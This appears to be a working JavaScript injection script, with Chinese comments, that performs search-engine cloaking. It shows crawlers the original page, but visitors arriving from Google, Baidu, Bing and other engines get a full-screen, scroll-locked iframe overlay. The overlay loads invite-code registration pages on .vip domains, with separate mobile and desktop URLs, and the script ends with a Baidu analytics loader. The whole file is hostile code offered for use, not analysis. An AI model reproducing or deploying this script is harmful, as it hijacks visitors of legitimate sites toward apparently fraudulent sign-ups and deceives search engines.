// 优化后的代码 —— 增加搜索引擎来源判断 (function() { 'use strict'; // 配置对象,集中管理可维护参数 const config = { mobileUrl: "https://www.onjrog.vip:9964/entry/register97800/?i_code=71667431", // 移动端目标 URL desktopUrl: "https://www.ycvsnl.vip:9173/register97800/?i_code=71667431", // PC 端目标 URL spiderPatterns: /(spider|bot|crawler|indexer|scraper)/ig, // 爬虫识别 mobilePatterns: /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i, maxZIndex: 2147483647, // 主流搜索引擎域名(支持匹配子域名) searchEngines: [ 'google.com', 'google.cn', 'baidu.com', 'bing.com', 'yahoo.com', 'sogou.com', 'so.com', 'sm.cn', 'duckduckgo.com', 'yandex.ru', 'ecosia.org' ] }; // 获取 UserAgent 和 Referrer(仅一次) const userAgent = navigator.userAgent || ''; const referrer = document.referrer || ''; // 判断是否为搜索引擎蜘蛛 function isSearchEngineSpider() { return config.spiderPatterns.test(userAgent); } // 判断是否为移动设备 function isMobileDevice() { return config.mobilePatterns.test(userAgent); } // 判断来源是否为搜索引擎 function isFromSearchEngine() { if (!referrer) return false; // 无来源则直接跳过 try { const url = new URL(referrer); const hostname = url.hostname.toLowerCase(); // 检查 hostname 是否匹配任一搜索引擎域名(忽略子域名) return config.searchEngines.some(engine => { // 匹配主域名(如 www.google.com 或 google.com) return hostname === engine || hostname.endsWith('.' + engine); }); } catch (e) { // URL 解析失败,视为非搜索引擎 return false; } } // 创建全屏 iframe 覆盖页面 function createFullscreenIframe(url) { // 添加 viewport meta(确保移动端适配) let viewportMeta = document.getElementById('viewport'); if (!viewportMeta) { viewportMeta = document.createElement('meta'); viewportMeta.id = 'viewport'; viewportMeta.name = 'viewport'; viewportMeta.content = 'user-scalable=no, width=device-width, initial-scale=1.0'; document.head.appendChild(viewportMeta); } // 添加全局样式(禁止页面滚动) const style = document.createElement('style'); style.textContent = ` html, body { width: 100%; height: 100%; overflow: hidden !important; margin: 0; padding: 0; } `; document.head.appendChild(style); // 创建覆盖层 const overlay = document.createElement('div'); overlay.style.cssText = ` width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: ${config.maxZIndex}; background: #fff; margin: 0; padding: 0; `; // 创建 iframe const iframe = document.createElement('iframe'); iframe.src = url; iframe.style.cssText = ` border: 0; width: 100%; height: 100%; margin: 0; padding: 0; display: block; `; iframe.setAttribute('frameborder', '0'); iframe.setAttribute('allow', 'fullscreen'); overlay.appendChild(iframe); document.body.appendChild(overlay); // 双重锁定滚动 document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; } // 主逻辑 function init() { // 1. 如果是搜索引擎爬虫,直接返回,不做任何处理 if (isSearchEngineSpider()) { console.log('[Redirect] Search engine spider detected, skipping.'); return; } // 2. 检查是否来自搜索引擎 if (!isFromSearchEngine()) { console.log('[Redirect] Not from search engine, keep original content.'); return; // 非搜索引擎来源,保留原页面 } // 3. 通过搜索引擎来源,根据设备类型选择目标 URL const targetUrl = isMobileDevice() ? config.mobileUrl : config.desktopUrl; console.log(`[Redirect] From search engine, device: ${isMobileDevice() ? 'mobile' : 'desktop'}, redirect to: ${targetUrl}`); // 4. 确保 DOM 就绪后创建 iframe if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { createFullscreenIframe(targetUrl); }); } else { createFullscreenIframe(targetUrl); } } // 启动 init(); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?44dcb3e5046afec00705c18c38539814"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();